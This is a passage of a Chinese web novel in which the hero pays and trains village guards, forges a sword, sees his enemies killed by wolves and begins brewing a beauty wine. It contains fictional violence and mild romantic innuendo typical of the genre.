他低头看看怀里的棉衣和银锭,咧开的嘴角就没合拢过。
他活了三十多年,第一次觉得脚下的路这么踏实,天这么蓝,连路边枯树上的积雪都看得顺眼。
与此同时,王二柱家那间四处漏风的破旧土屋里,几个妇人正围着一盆快要熄灭的炭火,就着昏暗的光线缝补着手里的旧衣。
“唉,这鬼天气,也不知道什么时候是个头。”一个妇人搓了搓冻得通红的手,叹了口气,“家里的存粮眼看就要见底了,开春可怎么熬?”
“谁说不是呢,”另一个妇人接话,同样也是愁眉苦脸,“连日里大雪,我家那口子前几天进山,连根兔子**都没看着,再这么下去,只能啃树皮了。”
屋内的气氛愁云惨淡,几个女人唉声叹气,感叹着这冬日的难熬。
这时,一个妇人忽然抬起头,羡慕地看了一眼角落里埋头缝补的江秀兰。
“要我说,还是秀兰嫂子命好。你家二柱**家选中,往后可就是享福的命了。一个月五两银子,乖乖,咱们这些人一辈子都挣不来这么多。”
这话一出,屋里顿时安静下来,几双眼睛齐刷刷地看向江秀兰,眼神里满是藏不住的羡慕。
江秀兰局促地笑了笑,心里刚升起一丝暖意,一个阴阳怪气的声音就响了起来。
“享什么福,不就是卖了身当奴才,有什么好羡慕的。”
王翠花撇着嘴,手里的针线活不停,语气却酸得能拧出水来。
“再说了,那江夜就是个败家子。你们是没看着,又是发肉又是送菜,现在还招什么护院,一个月给五两银子,他当他家的钱是大风刮来的?依我看,他就是打肿脸充胖子,用不了几天,就得坐吃山空,到时候你家二柱还不是得灰溜溜地跑回来。”
王翠花的话尖酸刻薄,扎得江秀兰心里生疼。
她脸色瞬间变得难看起来,嘴唇动了动,却一个字也反驳不出来。她本就不是个泼辣的性子,加上家里穷,在村里向来没什么底气,只能低下头,默默忍受着王翠花的嘲讽,将委屈全咽进肚子里。
其他几个妇人见状,也不好再说什么,只能尴尬地低头继续干活。
就在屋内气氛降到冰点时,院门“吱呀”一声被推开了。
王二柱满面红光,像一团火一样从外面走了进来。
他一眼就看到了屋里愁眉苦脸的母亲和一脸刻薄的王翠花,但他什么也没说,只是径直走到母亲江秀兰面前。
在所有人惊愕的注视下,他从怀里掏出一锭雪白的银子,“当”的一声,重重地放在了桌上!
那清脆的声响,仿佛一道惊雷,在寂静的屋子里炸开。
紧接着,他又将怀里抱着的两套崭新厚实的棉衣拿了出来,在桌上一一展开。
那崭新的布料,那厚实的棉花,散发着阳光和新布料的清香,与周围妇人手里那些打满补丁的破烂衣物形成了无比刺眼的对比。
“唰!”
屋内所有的缝补动作瞬间停止。
王翠花、李家婶子、张家婆娘……所有人的目光,都像是被磁石吸住的铁钉,死死地钉在了那锭晃眼的银子和那两套崭新的棉衣上,连呼吸都忘了。
江秀兰不敢置信地瞪大了眼睛,伸出那双因为常年劳作而粗糙开裂的手,小心翼翼地抚摸着那冰冷坚硬的银锭,又轻轻摸了摸那厚实温暖的棉衣。
那触感真实得让她心慌。
“二……二柱……这……这是哪来的?”她的声音抖得不成样子,眼眶瞬间就红了,生怕这是儿子偷来抢来的。
王二柱看着母亲激动的样子,鼻子一酸,但脸上却咧开一个大大的笑容,露出一口白牙。
他挺直了腰板,声音洪亮得几乎要掀翻屋顶,一字一句,清清楚楚地宣布道:
“娘!这是主人预支给俺的安家费!还有这两套冬衣,也是主人发的!以后,俺每个月,还有五两银子的工钱!”
王二柱的话音落下,死寂的屋子,瞬间炸了。
“我的老天爷!真是十两银子!”
“这棉衣……是新棉花!这么厚实!”
几个妇人“呼啦”一下全都围了上来。
她们的眼睛死死地盯着桌上那锭白花花的银子,眼神里的羡慕和嫉妒几乎要化为实质,满得快要溢出来。
一个妇人伸手,小心翼翼地摸了一下那崭新的棉衣,感受到那柔软厚实的触感,立刻缩回手,
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脸上满是惊叹和艳羡。
“秀兰嫂子,你家二柱这是攀上高枝了!”
“可不是嘛!一个月五两银子,往后顿顿都能吃上白面馍馍了吧?这日子,神仙过的也不过如此了!”
“可不是嘛,我就说二柱是个有出息的!你看,这不就出人头地了!”
江秀兰被她们围在中间,却什么也听不见了。
她抱着那锭冰冷又沉甸甸的银子,抚摸着那两套能救命的厚实棉衣,眼泪像断了线的珠子,怎么也止不住。这哭声里,没有悲伤,全是压抑了半辈子的辛酸和委屈,在这一刻尽数释放的狂喜。
她猛地抓住王二柱粗壮的胳膊,声音哽咽着,语无伦次。
“二柱……儿啊……你听娘说……”
“这……这不是钱,这是咱一家的命啊!是你东家给的活路!你……你往后一定要好好给东家干活,把东家的事当成自家的事!不,比自家的事还重要!东家的话,你就是豁出命去也得听,听见没有!”
“人家给给了咱家活路,你要是敢有二心,不用你东家动手,娘第一个打断你的腿!”
“娘,俺省得!”王二柱看着激动得浑身发抖的母亲,眼眶也红了,他重重地点头,声音铿锵有力,“俺这条命,以后就是主人的!”
母子俩的对话,一字不落地传进屋里每个人的耳朵里,那些妇人脸上的羡慕更浓了。
角落里王翠花,孤零零地站着,她看着被众星捧月般围在中间的江秀兰,听着那一声声刺耳的恭维,再看看桌上那晃得她眼晕的银锭,脸色由青转白,再由白转红,最后涨成了猪肝色。
她脑子里不断回荡着自己刚才说的那些刻薄话。
“卖了身当奴才……”
“江夜就是个败家子……”
“打肿脸充胖子,用不了几天就得坐吃山空……”
现在,那“奴才”却拿回来了她一辈子都挣不到的银子。
那“败家子”随手赏赐的东西,就让一户普通人家,一步登天!
王翠花只觉得脸上火辣辣地疼,比被人当众抽了十几个耳光还要难受。
她能感觉到,周围那些妇人那不经意间瞥过来的眼神,分明充满了嘲讽和鄙夷。
她们都在看自己的笑话!
她再也待不下去了,拿着自己的针线笸箩,便狼狈不堪地从王二柱家逃了出去。
第137章 打造神兵
王二柱家发生的一幕,连同那十两安家费和神仙般的虎骨酒,在极短的时间内传遍了稻花村的每一个角落。
整个村子都彻底沸腾了。
“听说了吗?江家护院,一人发了十两安家费!”
“何止啊!还发了两套新棉衣!我滴个乖乖,那棉花厚得能当被子盖了!”
“这算啥!最厉害的是,江夜兄弟给他们每人喝了一碗异虎神酒!王二柱当场就把院里几百斤的石锁举起来了!跟玩儿似的!”
“真的假的?那不是成了活神仙了?”
一时间,羡慕、嫉妒、震撼、悔恨……种种情绪在村里疯狂发酵。
那些前几天还在背后说江夜是败家子的长舌妇,此刻一个个都闭紧了嘴巴,生怕被人翻出旧账。
而那些报名却没被选上的青壮年,肠子都快悔青了。
十几个汉子聚在村口的老槐树下,一个个捶胸顿足,唉声叹气。
“都怪我!王囤问话的时候,我吹牛说以前在镇上跟人打过架,想着能加分,谁知道江夜兄弟要的是老实人!”一个汉子狠狠抽了自己一巴掌。
“我才是傻子!我以为江夜就是招几个看家护院的,没想到是天大的造化!早知道这样,我跪下也要求他收下我啊!”
“唉,一步错,步步错啊!这泼天的富贵,就这么从指头缝里溜走了!”
整个稻花村都沉浸在这种悔恨、嫉妒与喧嚣之中,唯有江夜家的小院,温暖如春,仿佛是另一个世界。
高大的院墙隔绝了风雪,也隔绝了外界所有的艳羡与嫉妒。
院内,火墙散发着融融暖意,空气中还残留着晚饭时火锅的余香。
晚饭后,江夜没有像往常一样陪着几女说笑,而是在堂屋的桌上铺开了一张大大的白纸。
四女好奇地围了过来,只见江夜手持炭笔,在纸上迅速勾勒着,一个个她们看不懂的奇怪的图画很快便布满了纸面。
“夫君,你这是在画什么呀?”白梦秋眨着好奇的大眼睛,小脑袋凑得最近。
江夜笑了笑,指着纸上的内容解释道:“我在给护院队制定训练计划。光有力量还不够,得让他们知道怎么用。要把他们打造成一支真正的精锐,以后才能护得住咱们这个家。”
四女似懂非懂地点点头。白梦夏和林间雪看着江夜认真的侧脸,美眸中满是柔情和安心。这个男人总是在为这个家默默地规划着一切,跟着他,什么都不用操心。
慕容晴则对纸上的内容更感兴趣,她看到“队列操练”、“负重越野”、“格斗搏杀”这些字眼,美眸中异彩连连。这些训练方法,她闻所未闻,但直觉告诉她,这套东西绝对不简单。
很快,一份详尽的训练计划便已完成。
江夜放下笔,伸了个懒腰,却没打算休息。他转身走向院子角落,那里立着他之前打造的锻造炉。
他重新升起炉火,熊熊的火焰很快将黑夜照得透亮,炙热的浪潮向四周扩散开来。
白梦夏姐妹和林间雪知道他要开始忙活了,怕打扰到他,便悄悄对视一眼,贴心地回了屋,拿起针线活,准备给江夜做些贴身的衣物。
慕容晴却没有走。
当她得知江夜要打造兵器和护甲时,一双美眸瞬间亮了起来,比天上的星辰还要璀璨。
“你要打兵器?”她兴致勃勃地问道,几步就站到了锻造炉旁。
“嗯,护院队不能光着手,总得有几件趁手的家伙。”江夜说着,已经用铁钳夹起一块精铁,熟练地送入炉火之中。
火焰疯狂舔舐着铁块,很快就将其烧得通红。
神级工匠技艺,发动!
一股玄之又玄的感觉涌上心头,周围的一切仿佛都慢了下来,铁块的内部结构、火焰的每一丝温度变化、铁锤的落点与力道,所有信息都清晰地呈现在他脑中。
“当!”
第一锤落下,声音沉闷而有力,飞溅的火星如绚烂的烟花。
慕容晴本是抱着双臂,带着几分审视的目光看着。
作为山寨之主,她见过的铁匠没有一百也有八十,其中不乏手艺精湛的老师傅。
可江夜这一锤,却让她心头猛地一跳。
那不是寻常铁匠的蛮力敲打,而是一种充满了奇特韵律的动作。他的每一次挥锤,每一次转动铁块,都充满了难以言喻的力量与美感。
“当!当!当!”
锤声不再是单调的噪音,而变成了富有节奏的乐章。
慕容晴的眼神,渐渐变了。
她看着江
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夜专注的侧脸,汗水顺着他轮廓分明的下颌滑落,在火光映照下,闪烁着晶莹的光。
他赤裸的上身肌肉贲张,线条流畅而充满爆发力,每一次挥锤都带动着肩背肌肉如波浪般起伏。
慕容晴看得有些呆了,心跳没来由地漏了一拍,脸颊也有些发烫。
就在她心神恍惚之间,骇人的一幕发生了。
在她那双写满震惊的美眸注视下,那块原本方方正正的凡铁,在江夜的锤下,竟以肉眼可见的速度开始变形、延伸、展平……
不过短短一盏茶的功夫,一柄线条流畅、刀身微弧的制式佩刀雏形,已然出现在铁砧之上。
“这……这怎么可能!”
慕容晴忍不住失声惊呼,大脑一片空白。
寻常铁匠锻打一柄佩刀,从锻胚到成型,没有一两天功夫根本下不来,可江夜……他竟然只用了这么点时间!
江夜对她的惊呼恍若未闻,心神完全沉浸在锻造的世界里。
他将刀胚再次送入炉火,随即夹出,投入一旁的冷水之中。
“嗤——”
刺耳的声响中,大团的白色蒸汽轰然升腾,瞬间弥漫了半个院子。
淬火完成,江夜拿起磨石开始打磨。随着刺啦刺啦的摩擦声,一层层氧化皮脱落,雪亮的刀身渐渐显露出来,寒光凛冽,锋芒逼人。
最后,他用小锤在刀身上轻轻一敲。
“嗡——”
佩刀发出一声清越悠扬的轻吟,如龙吟出渊,在寂静的夜里传出很远。
江夜随手一**身上的水珠,看都没看,手腕一抖,便将那柄刚刚出炉的佩刀朝慕容晴抛了过去。
“接着。”
慕容晴下意识伸手接住。
佩刀入手的一瞬间,她浑身一震,美眸瞬间瞪得滚圆,脸上满是难以置信的狂喜。
好沉!
不对,不是沉,是恰到好处的重量!
刀柄的缠绳粗细适中,握感极佳。整个刀身的重心完美地落在护手前一寸,不多一分,不少一毫。
她身为凤啸寨寨主,从小玩刀,手上过过的宝刀没有上百,也有几十。可没有一柄,能带给她如此完美的契合感!
这哪里是一柄凡铁打造的佩刀,这分明是一柄削铁如泥的神兵!
第138章 给你打个更趁手的
慕容晴看着手中这柄寒光凛冽的佩刀,心中涌起一股难以抑制的冲动。
她足尖在雪地里轻轻一点,身形瞬间掠开数丈。
下一刻,刀光乍起!
如同一匹撕裂夜幕的银色绸缎,在漫天风雪与冲天火光中,划开一道道银亮的口子。
慕容晴的身姿舒展开来,大开大合,刀风呼啸,卷起地上的积雪,时而辗转腾挪,身法轻灵,刀光如水银泻地,密不透风。
院内温暖的空气被凌厉的刀气割裂,发出“嗤嗤”的轻响。
慕容晴手腕翻转,那套她烂熟于心的家传刀法信手拈来。然而,在这柄新刀的加持下,竟爆发出前所未有的威力。每一招每一式都顺畅到了极点,仿佛这刀天生就是她身体的一部分,心念所至,刀锋必达!
江夜抱着双臂,靠在廊柱上,嘴角含笑地看着。
火光映照下,她那张扬绝美的脸蛋因激动而泛着动人的红晕,英气与媚态交织,形成一种惊心动魄的美。院内的空气被刀风搅动,卷起地上的积雪,形成一圈圈白色的旋涡,绕着她的身姿飞舞。
屋内,透过窗纸缝隙看到这一幕的白梦夏姐妹和林间雪,都看呆了。
她们只觉得,此刻的慕容晴姐姐,不像是凡人,更像是从画里走出来的女战神。
“锵!”
随着一声清脆的收刀入鞘声,漫天刀影骤然消失。
慕容晴持刀而立,绝美的俏脸上,因剧烈运动而泛起一抹动人的酡红。她低头看着手中的佩刀,满眼都是惊艳与痴迷。
“这是我……我这辈子见过最棒的兵器!”她抬起头,毫不吝啬自己的赞美。
江夜看着她这副模样,心中也颇为自得。
神级工匠技艺,果然名不虚传。
慕容晴抬起头,那双燃烧着火焰的美眸,直勾勾地锁定在江夜身上。
她几步走到江夜面前,将那柄佩刀往旁边随手一放,然后做出了一个让屋里偷看的三个女孩都忍不住捂住小嘴的动作。
她伸出双臂,像条美女蛇一样,柔软地缠上了江夜的脖子,整个人都挂在了他身上。
“江夜,你这手艺也太神了!不行,你得给我单独打一把!要比这个还好!”
她撒起娇来,带着一种山大王式的蛮横,却又偏偏透着一股让人无法拒绝的娇憨。温热的鼻息喷在江夜的耳廓,痒痒的,麻麻的。
江夜感受着怀里的温香软玉,脸上露出一抹坏笑。
他伸出手,稳稳托住她挺翘的臀,让她挂得更舒服些,嘴上却摇了摇头:“刀剑太刚硬,不适合你。”
“怎么不适合了?”慕容晴不服气地挺了挺胸,美眸瞪着他,“我从小就玩刀,还有比我更适合的?”
“当然有,”江夜看着她娇媚又带着点小野性的模样,故意卖了个关子,“我要给你打个更趁手的兵器。”
“什么?”慕容晴的美眸瞬间亮了起来,好奇心完全被勾了起来,“快说,是什么?”
江夜没有立刻回答,只是揽着她的腰,将她拉得更近。
在慕容晴满是期待的注视下,他缓缓凑到她泛着红晕的耳边,用只有两个人能听见的声音,低沉而又暧昧地吐出两个字。
“长鞭。”
“!”
慕容晴的身体猛地一僵。
这两个字瞬间击穿了她的心防。
脑海中,“嗡”的一声,某些旖旎又羞人的画面,不受控制地翻涌上来。
“轰!”
一股热气从脚底板直冲天灵盖,一抹动人到极致的绯红,以肉眼可见的速度,从她雪白的耳根迅速蔓延开来,瞬间染红了整张俏脸,连修长的脖颈都变成了诱人的粉色。
她触电般地松开江夜,从他身上跳了下来,美眸含羞带嗔地狠狠瞪了他一眼。
“你……你这个流氓!”
那声音软绵绵的,没有半分杀伤力,反而更像是情人间的呢喃。
说完,她再也不敢看江夜那带着促狭笑意的眼睛,转身便逃也似的跑进了屋里,只留给江夜一个落荒而逃的背影。
……
深夜,风雪渐歇,一轮残月从云层后探出头,清冷的月光洒在银装素裹的稻花村,万籁俱寂。
村东头,刘巧嘴家院门发出一声轻微的“吱呀”声,被从里面悄悄推开了一条缝。
一个瘦小的身影探出头,警惕地扫视着空无一人的村道。
确认四周没有任何动静后,刘巧嘴才佝偻着身子,将院门完全打开,拖出一个用两根木杆和破门板临时搭成的简易拖车,上面躺着正是像一滩烂肉的王大虎。
她背上还背着一个干瘪的小包袱,里面是家里仅剩的几个黑面馍馍。
两人回头,最后看了一眼月光下静谧得如同坟墓的村庄,不敢再多留一刻,头也不回地钻入了通往山外的漆黑夜路。
雪后的路泥泞难行,刘巧嘴一个妇道人家,拖着一个成年男人,走得跌跌撞撞,深一脚浅一脚,在雪地上留下一道歪歪扭扭的丑陋痕迹。
不知走了多久,直到再也看不见稻花村的影子,两人才松了一口气,停在路边一棵大树下喘息。
刘巧嘴累得瘫坐在地上,大口大口地喘着粗气。
王大虎躺在拖车上,虽然两条腿都废了,但那颗贪婪恶毒的心却重新活泛起来。
“娘,你等着!”他压低声音,眼中闪烁着疯狂的
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光,“等到了县城,我去找舅舅!他路子广,肯定有办法!到时候,我一定让江夜那**求生不得,求死不能!还有林间雪那个**,我要把她卖到窑子里去!”
刘巧嘴听着儿子恶毒的计划,脸上也浮现出扭曲的狞笑,她用力点头:“对!我儿说得对!到时候,江夜家的钱财、房子,就全都是咱们的了!”
母子俩在荒郊野外,幻想着卷土重来后的美好生活,脸上都露出了病态的狂热。
就在此时,一阵令人毛骨悚然的“悉悉索索”声,毫无征兆地从他们周围的密林中响了起来。
那声音很轻,像是无数只脚踩在厚厚的积雪上,从四面八方,缓缓向他们靠近。
刘巧嘴的狞笑僵在脸上,她猛地扭头,惊疑不定地望向黑暗的林中。
王大虎也停下了叫嚣,一种源于生物本能的恐惧,让他浑身汗**倒竖。
下一秒,在他们惊恐的注视下,一双幽绿色的眼睛,在不远处的黑暗中,骤然亮起。
紧接着,是第二双,第三双,第四双……
眨眼之间,密密麻麻的幽绿色光点,如同鬼火一般,在黑暗中接二连三地亮起,将他们团团包围。
是狼!
是狼群!
“啊——狼!有狼啊!”
刘巧嘴的脑子“轰”的一声炸开,那根紧绷到极点的神经彻底断裂。她发出一声不似人声的凄厉尖叫,双腿一软,直接瘫倒在雪地里,一股骚臭的液体瞬间浸湿了棉裤。
“跑!快跑啊!”
王大虎更是吓得魂飞魄散,他忘了自己的双腿已断,挣扎着就想从车上爬起来逃命。
可他稍微一动,两条断腿就传来撕心裂肺的剧痛,让他再次惨嚎着摔回车上,除了像条蛆虫一样在车板上扭动,根本无法挪动半分。
他的尖叫声,彻底惊动了包围圈中的狼群。
“嗷呜——!”
为首的一头体型格外健硕的头狼,仰天发出一声悠长的嚎叫。
这声嚎叫,便是进攻的号角!
十几头饿了一个冬天的恶狼,瞬间从黑暗中猛地扑了上来!
“不!不要!救命啊——!”
凄厉到变了调的惨叫声,瞬间划破了寂静的山道。
然而,这惨叫只持续了短短一瞬,便被令人牙酸的皮肉撕裂声和骨骼碎裂的“咔嚓”声彻底淹没。
血腥味,在冰冷的空气中,轰然炸开。
很快,一切都归于死寂。
风雪依旧,仿佛什么都没有发生过。
只有雪地上那片被踩踏得凌乱不堪的区域,和那迅速被新雪覆盖的暗红色,无声地诉说着,这里刚刚发生了一场单方面的**。
第139章 恶有恶报
第二天清晨,天刚蒙蒙亮。
上山捡柴的村民王三,缩着脖子,深一脚浅一脚地踩在厚厚的积雪上。
才走到山道口不远处,脚下突然一滑,差点摔个狗吃屎。
他骂骂咧咧地低头一看,只见雪地上有一片暗红色的污迹,被新雪半掩着,周围的雪地被踩得乱七八糟,像是被什么野兽刨过一样。
王三心里“咯噔”一下,顺着痕迹往前走了几步,一股浓烈的血腥味混着野兽的骚臭味,猛地钻进鼻腔。
他拨开一丛被压断的灌木,下一秒,瞳孔骤然收缩成针尖大小。
只见灌木丛后,两具被啃食得面目全非的残骸趴在雪地里,骨头上挂着些许破烂的布条和血肉,几只乌鸦正落在上面,发出“呱呱”的叫声,啄食着残渣。
“啊——!”
一声撕心裂肺的尖叫划破了稻花村清晨的宁静。
王三吓得魂飞魄散,连滚带爬地往村里跑,声音嘶哑地大喊:“**了!山道上**了!”
这一嗓子,如同在平静的湖面投下了一颗炸雷。
“砰砰砰”,一扇扇院门被推开,村民们顶着寒风跑了出来,围住已经语无伦次的王三。
“王三,你鬼叫什么?”
“什么**了?在哪?”
“就在……就在村东头的山道上!被狼……被狼吃了!肠子肚子流了一地……”王三哆哆嗦嗦地指着山道的方向,话都说不囫囵。
几个胆大的汉子闻言,抄起家里的柴刀、锄头,壮着胆子结伴往村口走去。剩下的人则聚在一起,议论纷纷,整个村子都炸开了锅。
没过多久,那几个汉子白着脸回来了,其中一个手里还捏着一块沾着血的破布。
“看清是谁了吗?”一个老者颤声问道。
那汉子将手里的破布条在众人面前展开,那是一块打了好几个补丁的靛蓝色粗布,村里不少人都认得。
“这……这不是刘巧嘴那件烂棉袄上的布料吗?”
“错不了!她那件棉袄穿了十几年了,这个补丁还是我老婆帮她打的!”
人群瞬间陷入了一片诡异的死寂。
刘巧嘴和王大虎?
死寂过后,是无法抑制的哗然。
“我的老天爷!真是他们!”
“昨天还好好的,怎么今天就……就喂了狼了?”
“还能是为什么!老天爷开眼了啊!这对黑心烂肺的母子,总算是遭了报应!”
一个老婆子双手合十,对着老天拜了拜,口中念念有词:“阿弥陀佛,这真是恶有恶报,老天爷都看不下去了啊!”
“可不是嘛!这家人就没干过一件好事!现在好了,报应来了!”
“嘘!小声点!”一个精明些的村民压低声音,眼神惊惧地瞥了一眼江夜家的方向,“什么老天爷,我看是惹了不该惹的人,活阎王要他们的命,谁敢留到五更天?”
此话一出,周围的议论声戛然而止。
众人想起江夜那神出鬼没的手段,一个个噤若寒蝉。
王囤第一时间将消息报告给了江夜。
江家小院内,温暖如春,与外面的风雪凛冽和人心惶惶仿佛两个世界。
堂屋的方桌上,摆着几样精致的早点,还有一锅热气腾腾的肉粥。
江夜正悠闲地喝着粥,四女围坐在一旁,叽叽喳喳地说着女儿家的私房话,气氛温馨而宁静。
就在这时,王囤带着一身寒气,神色复杂地走了进来。
“主人。”他恭敬地行了一礼。
“怎么了?”江夜头也没抬,又夹起一个肉包,放进慕容晴碗里。
王囤深吸一口气,将村里发生的事情言简意赅地汇报了
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一遍:“……村民们都说,是王大虎和刘巧嘴母子俩,昨夜在山道上被狼群给吃了。”
他说完,小心翼翼地观察着江夜的脸色。
屋内的说笑声戛然而止。
白梦夏姐妹和慕容晴都停下了筷子,齐刷刷地看向江夜。
江夜脸上没有丝毫波澜,仿佛在听一件“今天天气不错”般的小事。
他只是淡淡地“嗯”了一声,连眼皮都没抬一下。
随即,他夹起一个白白胖胖的肉包子,自然地放进林间雪的碗里。
“发什么呆,多吃点。”
林间雪拿着筷子的手,几不可察地微微一颤。
那对母子,是她前半生所有噩梦的来源。他们刻薄的咒骂,贪婪的嘴脸,无数次在她梦中出现。
她以为自己会害怕,会不安。
可此刻,当确认他们真的从这个世界上消失后,一种难以言喻的巨大解脱感,混杂着一丝恍惚与茫然,猛地涌上心头。
那副常年压在她心头的无形枷锁,“咔嚓”一声,碎了。
鼻子一酸,眼眶不受控制地迅速泛红,一滴晶莹的泪珠,顺着她苍白的脸颊滑落,滴在桌上。
那不是悲伤的泪,而是解脱的泪。
一只温暖柔软的小手,从旁边伸过来,轻轻握住了她冰凉的手。
林间雪抬起头,对上了白梦夏温柔而担忧的目光。
“姐姐……”
“都过去了。”白梦夏的声音轻柔得像羽毛,“以后,再也没人能欺负你了。”
林间雪看着她,又看看桌旁其他姐妹关切的眼神,最后将目光投向了神情淡然的江夜。
她用力地点了点头,将眼泪憋了回去,拿起江夜夹给她的那个豆沙包,小口小口的吃了起来。
阳光透过窗棂,照在她身上,仿佛为她镀上了一层新生。
第140章 我的话,就是唯一的规矩!
吃过早餐后,江夜便将全部心神投入到了护院的训练之中。
江家门口的空地上,王囤率领的二十名护院已经精神抖擞地列队站好。
他们身着崭新的黑色棉衣,腰板挺得笔直,看着江夜的眼神,充满了毫不掩饰的狂热。
江夜站在他们面前,神情淡漠。
“从今天起,训练正式开始!你们要忘掉以前的一切,你们不再是农夫,而是我的护院!在这里,你们要学的是服从,绝对的服从。我的话,就是唯一的规矩!”
他公布了一套闻所未闻的训练方法:队列、体能、格斗。
什么叫站队看齐,什么叫正步走,什么叫俯卧撑。
护院们听得云里雾里,只觉得这些词一个比一个古怪,但没有一个人敢出声质疑。
很快,训练正式开始。
“所有人,绕着村子跑!跟上我的速度,掉队的人,中午没饭吃!”
江夜一声令下,自己率先跑了出去,速度不快,却保持着一种恒定的节奏。
二十名汉子立刻跟上,起初他们还觉得轻松,毕竟都是庄稼汉,体力不差,更何况前一天才喝了异虎虎骨酒。
可一刻钟过去,两刻钟过去,江夜的脚步没有丝毫变化,他们却已经开始大口喘气。
“快!跟上!想想你们的安家费!想想虎骨酒!”王囤在队伍中间,咬着牙为大家鼓劲。
残酷的训练远不止于此。
跑完步,还没等他们喘匀气,江夜便让他们在雪地上排开,亲自示范俯卧撑和仰卧起坐。
“撑下去!趴起来!再下去!再起来!”
江夜的声音不带一丝感情,如同最严苛的教官。
护院们跟着他学,很快就体会到了这种训练的残酷。
他们的手臂酸软得不像是自己的,肚子也像火烧一样,个个累得像刚从水里捞出来的死狗,趴在地上,大口大口地喘着粗气,连动一根手指的力气都没有。
村口这番动静,很快就引来了不少村民在远处围观。
他们看着那群汉子被“折磨”得死去活来,一个个交头接耳,窃窃私语。
“我的娘,这是练兵呢还是折磨人呢?”
“就这么站着走着,有啥用?还不如去地里多翻两块地。”
“看来江夜这五两银子,也不是那么好拿的啊!”
王翠花也混在人群中,她看着王二柱等人那副半死不活的狼狈样,心中涌起一股病态的快意,嘴角撇着,低声咒骂:“活该!给人家当狗,就得有当狗的觉悟!看把你们给能的!”
终于,到了午时。
就在护院们感觉自己快要虚脱过去的时候,林间雪和白梦秋提着几个巨大的食盒,准时出现在了众人视野里。
江夜看了一眼天色,喊道:“全体都有,原地休息!开饭!”
护院们如蒙大赦,一个个瘫在地上,连动动手指的力气都没有了。
很快食盒被放在空地中央,盖子一揭开。
“轰——!”
一股浓郁到化不开的肉香,混合着米饭的香甜,瞬间席卷了整个村口!
只见几个巨大的木盆里,满满当当的全是红烧肉!
每一块都切得方方正正,肥瘦相间,被酱汁熬煮得红光油亮,在那浓稠的汤汁里微微颤动。
旁边,还有一大锅冒着腾腾热气的肉汤,以及一座用白米饭堆成的小山。
那霸道的香气,那诱人的光泽,让所有累到虚脱的护院们,眼睛瞬间就红了!
喉咙里“咕咚”一声,口水不受控制地疯狂分泌。
远处围观的村民们,集体失声。
他们死死地盯着那几盆肉,喉头疯狂滚动,再看看自己手里准备当午饭的又干又硬的黑面馍馍,眼神中的羡慕嫉妒,几乎要凝成实质。
王翠花幸灾乐祸的表情,在闻到那股肉味的瞬间也彻底僵在了脸上。她死死地盯着那盆油光锃亮的红烧肉,嫉妒得一张脸都扭曲了。
江夜对周围的目光视若无睹,对着护院们招了招手:“过来吃饭,一人一碗肉,两碗饭,不够再加。”
随着江夜一声令下,护院们仿佛听到了天底下最美的声音,一个个爆发出惊人的潜力,从地上一跃而起,疯了似的冲向食盆。
他们也顾不上烫,抓起碗筷就开始狼吞虎咽。
大块的红烧肉塞进嘴里,肥而不腻,入口即化,浓郁的肉汁混合着香甜的白米饭,那滋味,简直能让人的灵魂都跟着颤抖。
一时间,整个场地上只剩下“呼哧呼哧
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”的扒饭声和满足的咀嚼声。
每个人都吃得满嘴流油,风卷残云一般,没一会儿,几大盆肉和饭就见了底。
奇怪的是,吃完饭,他们非但没有感到撑胀,反而觉得上午消耗一空的体力瞬间补满,四肢百骸都涌动着一股暖洋洋的热流,浑身充满了使不完的力气。
他们看着神情淡然的江夜,眼神中的狂热,不知不觉又多了一丝死心塌地的忠诚。
……
晚上,屋外寒风呼啸,屋内却温暖如春。
江夜靠在烧得暖烘烘的火炕上,左边是白梦夏姐妹,右边是林间雪,慕容晴则豪放地盘腿坐在他对面,一边擦拭着新得的佩刀,一边兴致勃勃地听着护院训练的趣事。
温香软玉环绕,鼻尖尽是少女们身上好闻的体香,江夜只觉得这日子过得比神仙还舒坦。
看着几个女孩被自己逗得咯咯直笑,他忽然开口:“等过两天,我再给你们酿一种新酒。”
话音一落,四女的动作都停了下来,齐刷刷地看向他。
“新酒?”慕容晴眼睛最亮,她放下佩刀,凑了过来,“比异虎神酒还厉害?”
江夜神秘一笑,目光在四女吹弹可破的俏脸上扫过,故意卖了个关子,“这酒,叫‘凝脂玉露’,专为女子酿造。常饮此酒,可让肌肤胜雪,吹弹可破,更能青春永驻,容颜不老。”
这几句话,不亚于一道惊雷在四女脑中炸开。
青春永驻,容颜不老!
天底下,有哪个女人能抵挡住这样的诱惑?
“真……真的吗?”白梦秋最先忍不住,一双美眸瞪得溜圆,满是不可思议。
白梦夏也是呼吸一窒,握着橘子的手都忘了动。
就连一向对女儿家玩意儿不怎么上心的慕容晴,呼吸都急促了几分,一双美眸死死地盯着江夜,仿佛要在他脸上看出花来。
青春永驻,肌肤胜雪。
这八个字,对任何一个女人的杀伤力,都是毁灭性的。
看着她们激动的样子,江夜哈哈大笑,将慕容晴揽入怀中,在她脸颊上亲了一口:“快了,等我把药材配出来就行。”
这一夜,四女都睡得格外香甜,梦里,似乎都萦绕着那名为“凝脂玉露”的清香。
第141章 凝脂玉露
几天后,江夜估摸着时间差不多了,心念一动,意识再次沉入灵泉空间。
那片先前被他分株种下的凝脂草,在十倍时间流速和灵泉的日夜滋养下,已然悄然成熟。
不同于刚种下时的单薄,此刻的每一株凝脂草都长得丰润喜人。
通体莹白如上好的羊脂美玉,没有一丝杂色。
一股若有似无的清香在空间里弥漫,仅仅是闻上一口,都让人觉得神清气爽,四肢百骸说不出的舒泰。
江夜没有耽搁,小心翼翼地将所有成熟的凝脂草悉数采摘,用一个玉盒细心装好。
意识回归,江夜睁开眼,屋外阳光正好。
他起身来到院中,将之前打造异虎神酒时用过的那套工具再次搬了出来,清洗、摆放,动作有条不紊。
白梦夏姐妹和林间雪正在廊下做着针线,见状好奇地看了过来。
“夫君,你这是……又要酿酒了?”白梦夏停下手中的针线,柔声问道。
慕容晴听到动静,也从屋里走出,三两步就凑了过来,满脸期待:“是给我们酿的那个‘凝脂玉露’吗?”
江夜目光在四女期待的俏脸上转了一圈,卖了个关子:“别急,待会儿你们就知道了。”
说完,他不再言语,将心神完全沉浸在酿酒之中。
他先是取出几味早已备好的珍稀药材,按照某种玄奥的比例一一配好,随即打开玉盒,将那几株凝脂草小心翼翼地取出。
在阳光的照射下,凝脂草仿佛成了会呼吸的玉石,散发着莹莹宝光,看得四女目不转睛。
江夜神情专注,宗师级的酿酒技术在脑中流转,双手仿佛有了自己的意识。
他以特殊的手法将凝脂草与辅药一同捣碎,动作行云流水,充满了一种难以言喻的韵律感。
